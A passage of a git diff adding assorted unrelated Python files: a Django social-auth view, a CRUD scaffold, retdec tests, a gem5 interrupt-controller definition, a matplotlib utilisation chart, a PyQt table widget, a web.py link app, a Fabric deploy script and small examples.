'SOCIAL_AUTH_DISCONNECT_REDIRECT_URL') + if not redirect: + redirect = DEFAULT_REDIRECT + return HttpResponseRedirect(redirect) + + +@dsa_view(setting('SOCIAL_AUTH_COMPLETE_URL_NAME', 'socialauth_complete')) +def auth(request, backend): + """Start authentication process""" + return auth_process(request, backend) + + +def auth_process(request, backend): + """Authenticate using social backend""" + data = request.POST if request.method == 'POST' else request.GET + + # Save extra data into session. + for field_name in setting('SOCIAL_AUTH_FIELDS_STORED_IN_SESSION', []): + if field_name in data: + request.session[field_name] = data[field_name] + + # Save any defined next value into session + if REDIRECT_FIELD_NAME in data: + # Check and sanitize a user-defined GET/POST next field value + redirect = data[REDIRECT_FIELD_NAME] + # NOTE: Django's `is_safe_url` is much better at catching bad + # redirections to different domains than social_auth's + # `sanitize_redirect` call. + if not is_safe_url(redirect, host=request.get_host()): + redirect = DEFAULT_REDIRECT + request.session[REDIRECT_FIELD_NAME] = redirect or DEFAULT_REDIRECT + + # Clean any partial pipeline info before starting the process + clean_partial_pipeline(request) + + if backend.uses_redirect: + return HttpResponseRedirect(backend.auth_url()) + else: + return HttpResponse(backend.auth_html(), + content_type='text/html;charset=UTF-8') diff --git a/pool/shard009/Python/0081756_scaffold.py b/pool/shard009/Python/0081756_scaffold.py new file mode 100644 index 0000000000000000000000000000000000000000..61d88f2fd02b8dac88050d7b6ee7a7396ba6b1cd --- /dev/null +++ b/pool/shard009/Python/0081756_scaffold.py @@ -0,0 +1,65 @@ +""" +QKWEB - SCAFFOLD + +This file declares the handler required for creating CRUD pages +""" +from qkweb.models import BaseHandler + +class ScaffoldHandler(BaseHandler): + def __init__(self, klass, db, model, view_dir='.'): + BaseHandler.__init__(self, view_dir=view_dir) + self.db = db + self.model = model + self.klass = klass + + def index_(self, form): + print "TODO! list all items" + + def read_(self, id): + print "TODO! read item %d" % id + + def update_form_(self, id): + print "TODO! draw update form item %d" % id + + def create_form_(self): + print "TODO! draw create form" + + def update_(self, form): + id = int(form.getvalue('id')) + print "TODO! update item %d" % id + + def create_(self, form): + print "TODO! create new item" + + def delete_(self, id): + print "TODO! delete item %d" % id + + def GET(self, form): + self.set_mime("text/html") + if 'id' not in form and 'a' not in form: + self.index_(form) + elif 'a' not in form: + self.read_(int(form.getvalue('id'))) + elif form.getvalue('a') == 'update': + self.update_form_(int(form.getvalue('id'))) + elif form.getvalue('a') == 'create': + self.create_form_() + else: + print "SCAFFOLD GET ACTION NOT IMPLEMENTED %s" % form.getvalue('a') + + def POST(self, form): + self.set_mime("text/html") + if 'id' not in form and 'a' not in form: + self.create_(form) + elif 'a' not in form: + self.update_(form) + elif form.getvalue('a') == 'update': + self.update_(form) + elif form.getvalue('a') == 'create': + self.create_(form) + elif form.getvalue('a') == 'delete': + self.delete_(int(form.getvalue('id'))) + else: + print "SCAFFOLD POST ACTION NOT IMPLEMENTED %s" % form.getvalue('a') + + diff --git a/pool/shard009/Python/0081758_resource_tests.py b/pool/shard009/Python/0081758_resource_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..0ac70448081db7c8b5b179dde5002453c1b25668 --- /dev/null +++ b/pool/shard009/Python/0081758_resource_tests.py @@ -0,0 +1,246 @@ +# +# Project: retdec-python +# Copyright: (c) 2015 by Petr Zemek and contributors +# License: MIT, see the LICENSE file for more details +# + +"""Tests for the :mod:`retdec.resource` module.""" + +import datetime +import io +import os +import unittest + +from retdec.conn import APIConnection +from retdec.resource import Resource +from tests import WithPatching +from tests import mock + + +class ResourceTestsBase(unittest.TestCase, WithPatching): + """Base class for tests of :class:`retdec.resource.Resource` and its + subclasses. + """ + + def setUp(self): + super().setUp() + + self.conn = mock.Mock(spec_set=APIConnection) + + # Patch time.sleep() to prevent sleeping during tests. + self.time_sleep = mock.Mock() + self.patch('time.sleep', self.time_sleep) + + def status_with(self, status): + """Adds missing keys to the given status and returns it.""" + if 'pending' not in status: + status['pending'] = False + if 'running' not in status: + status['running'] = False + if 'finished' not in status: + status['finished'] = False + if 'succeeded' not in status: + status['succeeded'] = False + if 'failed' not in status: + status['failed'] = False + if 'error' not in status: + status['error'] = None + return status + + def assert_get_request_was_sent_with(self, path, params=None): + """Asserts that a GET request was sent with the given path and + parameters. + """ + if params is not None: + self.conn.send_get_request.assert_called_once_with(path, params) + else: + self.conn.send_get_request.assert_called_once_with(path) + + +# Do not inherit from unittest.TestCase because WithDisabledWaitingInterval is +# a mixin, not a base class for tests. +class WithDisabledWaitingInterval: + """Mixin for tests that wish to disable the waiting interval. + + When the waiting interval is disabled, the status is checked in every + state-querying method call. As a result, there is no busy-waiting. + + When using the mixin, always put it before classes that inherit from + ``unittest.TestCase``. Otherwise, their setUp() method is not called + because ``unittest.TestCase.setUp()`` does not call ``super().setUp()``. + See http://nedbatchelder.com/blog/201210/multiple_inheritance_is_hard.html + for more details. + """ + + def setUp(self): + super().setUp() + + # Disable the waiting interval so that the status is checked in every + # state-querying method call. + self._orig_state_update_interval = Resource._STATE_UPDATE_INTERVAL + Resource._STATE_UPDATE_INTERVAL = datetime.timedelta(seconds=0) + + def tearDown(self): + super().tearDown() + + # Restore the waiting interval. + Resource._STATE_UPDATE_INTERVAL = self._orig_state_update_interval + + +# Do not inherit from unittest.TestCase because WithMockedIO is +# a mixin, not a base class for tests. +class WithMockedIO(WithPatching): + """Mixin for tests that call functions that perform I/O operations. + + When using the mixin, always put it before classes that inherit from + ``unittest.TestCase``. Otherwise, their setUp() method is not called + because ``unittest.TestCase.setUp()`` does not call ``super().setUp()``. + See http://nedbatchelder.com/blog/201210/multiple_inheritance_is_hard.html + for more details. + """ + + def setUp(self): + super().setUp() + + self.open = mock.mock_open() + self.patch('builtins.open', self.open) + + self.shutil = mock.Mock() + self.patch('retdec.resource.shutil', self.shutil) + + def assert_obtains_file_contents(self, func, file_path, is_text_file): + """Asserts that ``func()`` obtains the contents of the given file. + + :param callable func: Function to be called. + :param str file_path: Path to the file to be downloaded. + :param bool is_text_file: Is it a text file or a binary file? + """ + self.conn.get_file.return_value = io.BytesIO(b'data') + + output = func() + + self.assertEqual(output, 'data' if is_text_file else b'data') + self.conn.get_file.assert_called_once_with(file_path) + + def assert_obtains_and_saves_file(self, func, file_path, directory): + """Asserts that ``func(directory)`` obtains the given file and saves it + to `directory`. + + :param callable func: Function to be called with `directory`. + :param str file_path: Path to the file to be downloaded. + :param str directory: Directory in which the file will be stored. + + If `directory` is ``None``, the current working directory is used. + """ + file = mock.Mock() + file.name = 'file_name' + self.conn.get_file.return_value = file + + saved_file_path = func(directory) + + self.conn.get_file.assert_called_once_with(file_path) + directory = directory or os.getcwd() + ref_saved_file_path = os.path.join(directory, 'file_name') + self.open.assert_called_once_with( + ref_saved_file_path, + 'wb' + ) + self.assertEqual(ref_saved_file_path, saved_file_path) + + +class ResourceTests(ResourceTestsBase): + """Tests for :class:`retdec.resource.Resource`.""" + + def test_id_returns_passed_id(self): + r = Resource('ID', self.conn) + + self.assertEqual(r.id, 'ID') + + def test_is_pending_checks_status_on_first_call_and_returns_correct_value(self): + self.conn.send_get_request.return_value = self.status_with({ + 'pending': True + }) + r = Resource('ID', self.conn) + + pending = r.is_pending() + + self.assertTrue(pending) + self.conn.send_get_request.assert_called_once_with('/ID/status') + + def test_is_running_checks_status_on_first_call_and_returns_correct_value(self): + self.conn.send_get_request.return_value = self.status_with({ + 'running': True + }) + r = Resource('ID', self.conn) + + running = r.is_running() + + self.assertTrue(running) + self.conn.send_get_request.assert_called_once_with('/ID/status') + + def test_has_finished_checks_status_on_first_call_and_returns_correct_value(self): + self.conn.send_get_request.return_value = self.status_with({ + 'finished': True, + 'succeeded': True + }) + r = Resource('ID', self.conn) + + finished = r.has_finished() + + self.assertTrue(finished) + self.conn.send_get_request.assert_called_once_with('/ID/status') + + def test_has_succeeded_checks_status_on_first_call_and_returns_correct_value(self): + self.conn.send_get_request.return_value = self.status_with({ + 'finished': True, + 'succeeded': True + }) + r = Resource('ID', self.conn) + + succeeded = r.has_succeeded() + + self.assertTrue(succeeded) + self.conn.send_get_request.assert_called_once_with('/ID/status') + + def test_has_failed_checks_status_on_first_call_and_returns_correct_value(self): + self.conn.send_get_request.return_value = self.status_with({ + 'finished': True, + 'failed': True + }) + r = Resource('ID', self.conn) + + failed = r.has_failed() + + self.assertTrue(failed) + self.conn.send_get_request.assert_called_once_with('/ID/status') + + def test_get_error_checks_status_on_first_call_and_returns_correct_value(self): + self.conn.send_get_request.return_value = self.status_with({ + 'finished': True, + 'failed': True, + 'error': 'Error message.' + }) + r = Resource('ID', self.conn) + + error = r.get_error() + + self.assertEqual(error, 'Error message.') + self.conn.send_get_request.assert_called_once_with('/ID/status') + + def test_two_successive_state_queries_do_not_result_into_two_status_checks(self): + # A certain time interval has to pass between successive checks for the + # resource to query its status. + self.conn.send_get_request.side_effect = [ + self.status_with({ + 'pending': True + }), self.status_with({ + 'pending': False + }) + ] + r = Resource('ID', self.conn) + + r.is_pending() + pending = r.is_pending() + + self.assertEqual(len(self.conn.send_get_request.mock_calls), 1) + self.assertTrue(pending) # Still True because there was only one query. diff --git a/pool/shard009/Python/0081760_I8259.py b/pool/shard009/Python/0081760_I8259.py new file mode 100644 index 0000000000000000000000000000000000000000..30ea142256e268fff0b5023aa44ca8fb215093e6 --- /dev/null +++ b/pool/shard009/Python/0081760_I8259.py @@ -0,0 +1,49 @@ +# Copyright (c) 2008 The Regents of The University of Michigan +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer; +# redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution; +# neither the name of the copyright holders nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# Authors: Gabe Black + +from m5.params import * +from m5.proxy import * +from Device import BasicPioDevice +from X86IntPin import X86IntSourcePin, X86IntSinkPin + +class X86I8259CascadeMode(Enum): + map = {'I8259Master' : 0, + 'I8259Slave' : 1, + 'I8259Single' : 2 + } + +class I8259(BasicPioDevice): + type = 'I8259' + cxx_class='X86ISA::I8259' + output = Param.X86IntSourcePin(X86IntSourcePin(), + 'The pin this I8259 drives') + mode = Param.X86I8259CascadeMode('How this I8259 is cascaded') + slave = Param.I8259(NULL, 'Slave I8259, if any') + + def pin(self, line): + return X86IntSinkPin(device=self, number=line) diff --git a/pool/shard009/Python/0081763_all_test.py b/pool/shard009/Python/0081763_all_test.py new file mode 100644 index 0000000000000000000000000000000000000000..2a70b6fcac6db25ac3cce2ea9a399b22a6050a98 --- /dev/null +++ b/pool/shard009/Python/0081763_all_test.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python +#-*- coding: utf-8 -*- + +from __future__ import print_function +import matplotlib.pyplot as plt +import numpy as np +import pylab +import xlrd + +pylab.mpl.rcParams['font.sans-serif'] = ['DejaVu Serif'] +pylab.mpl.rcParams['axes.unicode_minus'] = False + +#open excel file and get sheet +myBook = xlrd.open_workbook(r'report.xls') +mySheet = myBook.sheet_by_index(0) + +#get datas +xtime = mySheet.col(0) +xtime = [x.value for x in xtime] +ycpu = mySheet.col_values(6) +ygpu = mySheet.col_values(7) +yfat = mySheet.col_values(8) + +xtime.pop(0) +ycpu.pop(0) +ygpu.pop(0) +yfat.pop(0) + +ycpu = [y*100 for y in ycpu] +ygpu = [y*100 for y in ygpu] +yfat = [y*100 for y in yfat] + + +#declare a figure object to plot +#fig, ax = plt.subplots(num=None, figsize=(8, 6), dpi=80, facecolor='w', edgecolor='k') +fig, ax = plt.subplots() +lc = ax.plot(xtime, ycpu, '-o', ms=5, lw=2, alpha=0.8, mfc='blue') +lg = ax.plot(xtime, ygpu, '-o', ms=5, lw=2, alpha=0.8, mfc='green') +lf = ax.plot(xtime, yfat, '-o', ms=5, lw=2, alpha=0.8, mfc='orange') +ax.set_xlim(0.5, len(xtime)+0.5) +#ax.yticks(np.arange(0, 1.1, 0.1)) +ax.set_ylim(0, 100) +#ax.yaxis.set_major_formatter(plt.FormatStrFormatter('%d%%')) +#ax.grid() + +#fig.patch.set_alpha(0.5) +#ax.patch.set_alpha(0.5) + +#advance settings π +titl = plt.title(u'Resource Utilization for Π, the Supercomputer of SJTU', fontsize=20, color='#404040') +plt.ylabel('Percentage(%)', fontsize=17, color='#404040') +plt.xlabel('Month', fontsize=17, color='#404040') +plt.gca().yaxis.set_label_coords(-0.05, 0.5) # have full control over coordinates +plt.gca().xaxis.set_label_coords(0.5, -0.07) # have full control over coordinates + +titl.set_y(1.06) +#plt.subplot_ajust(top=0.86) + +lines = lc, lg, lf +#plt.setp(lines, linestyle='--') # set all to dashed +plt.setp(lc, linewidth=2, color='#036cbf') +plt.setp(lg, linewidth=2, color='#78b400') +#plt.setp(lf, linewidth=2, color='#f05724') +plt.setp(lf, linewidth=2, color='#fd9828') + + +#legend settings +legend = plt.legend(['Intel CPUs', + 'Nvidia GPUs', + 'FAT Nodes'], + shadow=True, + fancybox=True) +plt.setp(plt.gca().get_legend().get_texts(), fontsize="13") + +#vertical split +plt.axvline(1, hold=None, color='gray', linestyle='--') +ax.text(1, 93, '<--------------------------------------------------------------', color='gray') +ax.text(17, 93, '--------------------------------------------------------------->', color='gray') +ax.text(11.5, 93, 'Early Access Program', color='gray') +plt.axvline(17.57, hold=None, color='red', linestyle='--') +ax.text(17.8, 55, 'Opening Ceremony', rotation=-90, color='gray') +plt.axvline(27.43, hold=None, color='#fe2ec8', linestyle='--') +ax.text(27.8, 82, 'In Production', rotation=-90, color='gray') +plt.axvline(29.29, hold=None, color='gray', linestyle='--') +ax.text(29.35, 80, '<------------------------------->', color='gray') +ax.text(30.30, 81.8, 'Chinese Spring', color='gray') +ax.text(30.20, 78.2, 'Festival Holidays', color='gray') +plt.axvline(35, hold=None, color='gray', linestyle='--') + +#plt.axhline(80, hold=None, color='gray', linestyle='--') + +#date of events notation +evtpos = 102 +ax.text(-0.3, evtpos, 'Jun 30, 2013', color='gray') +ax.text(16.0, evtpos, 'Oct 23, 2013', color='gray') +ax.text(26.0, evtpos, 'Jan 1, 2014', color='gray') + + +ax2 = ax.twinx() +#ax2.plot(xtime, y2, '-o', ms=5, lw=0, alpha=0.0, mfc='black') +ax2.plot(xtime, ycpu, lw=0, alpha=0.0, mfc='black') +ax2.set_xlim(0.5, len(xtime)+0.5) +ax2.set_ylim(0, 100) + +#change week number to date +xtickrange = [1.143, #Jul + 5.571, #Aug + 10.0, #Sep + 14.286, #Oct + 18.714, #Nov + 23.0, #Dec + 27.429, #Jan + 31.857, #Feb + 35.857, #Mar + 40.286] #Apr +pylab.xticks(xtickrange, ()) #avoid the default number index + + +#Month notation +monpos = -5; +ax.text(2.3, monpos, 'Jul 2013', color='gray') +ax.text(6.6, monpos, 'Aug 2013', color='gray') +ax.text(11.0, monpos, 'Sep 2013', color='gray') +ax.text(15.5, monpos, 'Oct 2013', color='gray') +ax.text(19.8, monpos, 'Nov 2013', color='gray') +ax.text(24.0, monpos, 'Dec 2013', color='gray') +ax.text(28.5, monpos, 'Jan 2014', color='gray') +ax.text(32.7, monpos, 'Feb 2014', color='gray') +ax.text(36.8, monpos, 'Mar 2014', color='gray') + + +#hide the deafult x ticks +#plt.gca().xaxis.set_major_locator(plt.NullLocator()) + + +#show the figure +#plt.show() +#pylab.figure() +#fman = pylab.get_current_fig_manager() +#fman.window.move(600, 600) +plt.tight_layout() + +plt.gcf().set_size_inches(18.5,10.5) +#plt.gcf().set_size_inches(28,16) # too big +#plt.gcf().set_size_inches(28,16) +plt.savefig('weekly_utilization.png',dpi=100) diff --git a/pool/shard009/Python/0081765_table_widget.py b/pool/shard009/Python/0081765_table_widget.py new file mode 100644 index 0000000000000000000000000000000000000000..909b07dc09ed0256b04d61f3d82bbaa69b98bb0f --- /dev/null +++ b/pool/shard009/Python/0081765_table_widget.py @@ -0,0 +1,194 @@ +# -*- coding: utf-8 -*- +# +# Copyright 2015 - Gabriel Acosta +# +# This file is part of Pireal. +# +# Pireal is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3 of the License, or +# any later version. +# +# Pireal is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Pireal; If not, see . + +from PyQt5.QtWidgets import QSplitter +from PyQt5.QtWidgets import QTabWidget +from PyQt5.QtWidgets import QToolButton +from PyQt5.QtWidgets import QStackedWidget +from PyQt5.QtWidgets import QMenu + +from PyQt5.QtCore import Qt +from pireal.gui.model_view_delegate import create_view + +from pireal.gui.main_window import Pireal +from pireal import translations as tr + + +class TableWidget(QSplitter): + def __init__(self): + super(TableWidget, self).__init__() + self._tabs = QTabWidget() + self._other_tab = QTabWidget() + self.addWidget(self._tabs) + self.addWidget(self._other_tab) + self.setSizes([1, 1]) + self._other_tab.hide() + + self.relations = {} + + # Stack + self.stacked = QStackedWidget() + self._tabs.addTab(self.stacked, "Workspace") + self.stacked_result = QStackedWidget() + self._tabs.addTab(self.stacked_result, tr.TR_RESULTS) + + btn_split = QToolButton() + btn_split.setText("\uf04c") + btn_split.setToolTip(tr.TR_TABLE_CLICK_TO_SPLIT) + btn_split.setAutoRaise(True) + self._tabs.setCornerWidget(btn_split) + btn_split.clicked.connect(self._split) + btn_split = QToolButton() + btn_split.setText("\uf0c8") + btn_split.setToolTip(tr.TR_TABLE_CLICK_TO_JOIN) + btn_split.setAutoRaise(True) + btn_split.clicked.connect(self._unsplit) + self._other_tab.setCornerWidget(btn_split) + + lateral_widget = Pireal.get_service("lateral_widget") + lateral_widget.resultClicked.connect(self._on_result_list_clicked) + lateral_widget.resultSelectionChanged.connect( + lambda index: self.stacked_result.setCurrentIndex(index) + ) + + def insert_rows(self, tuplas): + current_view = self.current_table() + if current_view is not None: + model = current_view.model() + for tupla in tuplas: + model.insertRow(model.rowCount(), tupla) + current_view.adjust_columns() + + def _on_result_list_clicked(self, index): + self.stacked_result.setCurrentIndex(index) + if not self._other_tab.isVisible(): + self._tabs.setCurrentIndex(1) + + def _unsplit(self): + self._other_tab.hide() + result_widget = self._other_tab.widget(0) + self._tabs.addTab(result_widget, tr.TR_RESULTS) + self._tabs.cornerWidget().show() + + def _split(self): + result_widget = self._tabs.widget(1) + self._other_tab.addTab(result_widget, tr.TR_RESULTS) + self._other_tab.show() + self.setSizes([1, 1]) + self._tabs.cornerWidget().hide() + self.setOrientation(Qt.Horizontal) + + def _show_menu(self, position): + menu = QMenu(self) + + if self.count() > 0: + add_tuple_action = menu.addAction(tr.TR_TABLE_ADD_TUPLE) + add_col_action = menu.addAction(tr.TR_TABLE_ADD_COL) + + add_tuple_action.triggered.connect(self.add_tuple) + add_col_action.triggered.connect(self.add_column) + menu.addSeparator() + + add_relation_action = menu.addAction(tr.TR_TABLE_CREATE_RELATION) + add_relation_action.triggered.connect(self.__new_relation) + + menu.exec_(self.mapToGlobal(position)) + + def __new_relation(self): + central_service = Pireal.get_service("central") + central_service.create_new_relation() + + def count(self): + return self.stacked.count() + + def remove_table(self, index): + widget = self.stacked.widget(index) + self.stacked.removeWidget(widget) + del widget + + def current_table(self): + return self.stacked.currentWidget() + + def remove_relation(self, name): + del self.relations[name] + + def add_relation(self, name, rela): + if self.relations.get(name, None) is None: + self.relations[name] = rela + return True + return False + + def add_table(self, rela, name, table): + """Add new table from New Relation Dialog""" + + self.add_relation(name, rela) + self.stacked.addWidget(table) + + def add_tuple(self): + current_view = self.current_table() + if current_view is not None: + model = current_view.model() + model.insertRow(model.rowCount()) + + def add_column(self): + current_view = self.current_table() + if current_view is not None: + model = current_view.model() + model.insertColumn(model.columnCount()) + + def delete_tuple(self): + current_view = self.current_table() + if current_view is not None: + model = current_view.model() + selection = current_view.selectionModel() + if selection.hasSelection(): + selection = selection.selection() + rows = set([index.row() for index in selection.indexes()]) + rows = sorted(list(rows)) + previous = -1 + i = len(rows) - 1 + while i >= 0: + current = rows[i] + if current != previous: + model.removeRow(current) + i -= 1 + + def delete_column(self): + """Elimina la/las columnas seleccionadas""" + + current_view = self.current_table() + if current_view is not None: + model = current_view.model() + selection = current_view.selectionModel() + if selection.hasSelection(): + selection = selection.selection() + columns = set([index.column() for index in selection.indexes()]) + columns = sorted(list(columns)) + previous = -1 + i = len(columns) - 1 + while i >= 0: + current = columns[i] + if current != previous: + model.removeColumn(current) + i -= 1 + + def create_table(self, rela, editable=True): + """Se crea la vista y el modelo""" + + return create_view(rela, editable=editable) diff --git a/pool/shard009/Python/0081766_link.py b/pool/shard009/Python/0081766_link.py new file mode 100644 index 0000000000000000000000000000000000000000..72a79f23a0cdcdb59114aec8a76d39aaa7f205ed --- /dev/null +++ b/pool/shard009/Python/0081766_link.py @@ -0,0 +1,117 @@ +import web +import json +import requests +from web import ctx + +from bs4 import BeautifulSoup + +import db +from tools import shorten_link, pretty_date +from models.comment import Comment, CommentVote +from models.link import Link, LinkVote + +urls = ( + '/suggest/title', 'suggest_title', + '/(\d+)', 'link', + '/(\d+)/upvote', 'upvote_link', + '/(\d+)/view', 'view_link') + +app = web.application(urls, globals()) + + +class suggest_title: + + def _title_from_url(self, url): + try: + page = requests.get(url, verify=True) + text = page.content + return BeautifulSoup(text).title.string.strip() + except: + return '' + + def GET(self): + data = web.input() + if 'url' not in data: + return json.dumps({'error': 'url param is missing'}) + else: + title = self._title_from_url(data['url']) + return json.dumps({'title': title.encode('utf-8')}) + + +class view_link: + + def _link(self, id): + return db.session.query(Link).filter_by(id=id).first() + + def GET(self, id): + l = self._link(id) + db.session.query(Link).filter_by(id=id).update({'views': l.views + 1}) + db.session.commit() + + return web.seeother(l.url, absolute=True) + + +class link: + form = web.form.Form( + web.form.Textarea('comment', web.form.notnull), + ) + + def link(self, id): + return db.session.query(Link).filter_by(id=id).first() + + def GET(self, id): + i = web.input() + + form = self.form() + render = web.template.render( + 'templates/', + base='layout', + globals={ + 'session': ctx.session, 'hasattr': hasattr, + 'short': shorten_link, 'pretty_date': pretty_date}) + return render.link.show(form, id, self.link(id)) + + def POST(self, id): + username = None + if False: # hasattr(ctx.session, 'username'): + username = ctx.session.username + else: + return web.seeother('/user/register', absolute=True) + + i = web.input() + + form = self.form() + render = web.template.render( + 'templates/', + base='layout', + globals={ + 'session': ctx.session, 'hasattr': hasattr, + 'short': shorten_link, 'pretty_date': pretty_date}) + + if not form.validates(): + return render.link.show(form, id, self.link(id)) + else: + comment = Comment( + content=i.comment, link_id=id, user_id=ctx.session.user.id) + db.session.add(comment) + db.session.commit() + + return web.seeother('/link/%d' % int(id), absolute=True) + + +class upvote_link: + def GET(self, id): + username = None + if False: # hasattr(ctx.session, 'username'): + username = ctx.session.username + else: + return web.seeother('/user/register', absolute=True) + + voted = db.session.query(LinkVote).filter_by( + link_id=id, user_id=ctx.session.user.id).first() + + if not voted: + vote = LinkVote(link_id=id, user_id=ctx.session.user.id) + db.session.add(vote) + + return web.seeother("/link/%d" % int(id), absolute=True) diff --git a/pool/shard009/Python/0081768_fabfile.py b/pool/shard009/Python/0081768_fabfile.py new file mode 100644 index 0000000000000000000000000000000000000000..4e0c3dec82887c48be2830131ace8ac717296bb6 --- /dev/null +++ b/pool/shard009/Python/0081768_fabfile.py @@ -0,0 +1,83 @@ +from fabric.api import roles, env, run, cd, sudo +from fabric.contrib.files import upload_template + +env.hosts = [ + 'deploy@nutsurv-d.ie.nutsurv.eocng.org', + 'deploy@nutsurv-e.ie.nutsurv.eocng.org', + 'deploy@nutsurv-f.ie.nutsurv.eocng.org', + 'deploy@bigbuilder.eocng.org', +] + +env.roledefs = { + 'dev': ['deploy@nutsurv-d.ie.nutsurv.eocng.org', ], + 'staging': ['deploy@nutsurv-e.ie.nutsurv.eocng.org'], + 'production': ['deploy@nutsurv-f.ie.nutsurv.eocng.org'], + 'build': ['ubuntu@bigbuilder.eocng.org'], +} + + +def echo(): + run('ls /') + +def ensure_docker_compose(): + sudo('which docker-compose || pip install docker-compose') + +@roles('build') +def build_dockerimage(branch_or_tag='develop'): + + with cd('~/build_setup/'): + run('./update_env.sh') + + with cd('/home/ubuntu/build_setup/dockersetup/projects/nutsurv'): + run('BRANCH={} ./run_build.sh'.format(branch_or_tag)) + run('docker push docker-registry.eocng.org/ehealthafrica/nutsurv:{}'.format( + branch_or_tag)) + +@roles('dev', 'staging', 'production') +def deploy(branch_or_tag=None, do_stop=True): + + if env.host_string == 'ubuntu@nutsurv-dev.eocng.org': + if branch_or_tag is None: + branch_or_tag = 'develop' + + else: + assert branch_or_tag, "Please specify a tag" + + run('docker pull docker-registry.eocng.org/ehealthafrica/nutsurv:{}'.format( + branch_or_tag)) + + if do_stop is True: + stop_result = run('docker stop nutsurvdeploy_web_1', warn_only=True) + + if (stop_result + and (stop_result != 'nutsurvdeploy_web_1') + and ('no such' not in stop_result.lower())): + assert False, stop_result + + run('test -d ~/nutsurv_deploy/ || mkdir ~/nutsurv_deploy/') + ensure_docker_compose() + upload_template( + 'docker-compose-deploy.yml.template', + '~/nutsurv_deploy/docker-compose-deploy.yml', + context={'branch_or_tag': branch_or_tag, } + ) + + +@roles('dev', 'staging', 'production') +def up(): + + run('test -f ~/nutsurv_deploy/configuration.py') + run('test -f ~/nutsurv_deploy/certs/cert.pem') + run('test -f ~/nutsurv_deploy/certs/key.pem') + + ensure_docker_compose() + with cd('~/nutsurv_deploy'): + run('docker-compose -f ~/nutsurv_deploy/docker-compose-deploy.yml up -d web') + +@roles('dev', 'staging', 'production') +def migrate(): + ensure_docker_compose() + with cd('~/nutsurv_deploy'): + run('docker-compose -f ~/nutsurv_deploy/docker-compose-deploy.yml run web python /opt/nutsurv/nutsurv/manage.py migrate') + run('docker-compose -f ~/nutsurv_deploy/docker-compose-deploy.yml run web python /opt/nutsurv/nutsurv/manage.py createcachetable') + diff --git a/pool/shard009/Python/0081772_embedexample.py b/pool/shard009/Python/0081772_embedexample.py new file mode 100644 index 0000000000000000000000000000000000000000..505198190ce032b2754fce2d74e2c8d91cbffb3d --- /dev/null +++ b/pool/shard009/Python/0081772_embedexample.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python + +# Copyright (C) 2009 Jeremy S. Sanders +# Email: Jeremy Sanders +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +############################################################################## + +"""An example embedding program. Veusz needs to be installed into +the Python path for this to work (use setup.py) + +This animates a sin plot, then finishes +""" + +import time +import numpy +import veusz.embed as veusz + +# construct a Veusz embedded window +# many of these can be opened at any time +g = veusz.Embedded('window title') +g.EnableToolbar() + +# construct the plot +g.To( g.Add('page') ) +g.To( g.Add('graph') ) +g.Add('xy', marker='tiehorz', MarkerFill__color='green') + +# this stops intelligent axis extending +g.Set('x/autoRange', 'exact') + +# zoom out +g.Zoom(0.8) + +# loop, changing the values of the x and y datasets +for i in range(10): + x = numpy.arange(0+i/2., 7.+i/2., 0.05) + y = numpy.sin(x) + g.SetData('x', x) + g.SetData('y', y) + + # wait to animate the graph + time.sleep(2) + +# let the user see the final result +print("Waiting for 10 seconds") +time.sleep(10) +print("Done!") + +# close the window (this is not strictly necessary) +g.Close() diff --git a/pool/shard009/Python/0081775_shared_ronto_hue.py b/pool/shard009/Python/0081775_shared_ronto_hue.py new file mode 100644 index 0000000000000000000000000000000000000000..959f060f8b55b55ebcb69b7abed48f72746e3558 --- /dev/null +++ b/pool/shard009/Python/0081775_shared_ronto_hue.py @@ -0,0 +1,20 @@ +#### NOTICE: THIS FILE IS AUTOGENERATED +#### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY +#### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES + +from swgpy.object import * + +def create(kernel): + result = Creature() + + result.template = "object/mobile/shared_ronto_hue.iff" + result.attribute_template_id = 9 + result.stfName("monster_name","ronto") + + #### BEGIN MODIFICATIONS #### + result.setStringAttribute("radial_filename", "radials/player_pet.py") + result.options_mask = 0x100 + result.pvp_status = PVPSTATUS.PvPStatus_None + #### END MODIFICATIONS #### + + return result \ No newline at end of file diff --git a/pool/shard009/Python/0081776_form.py 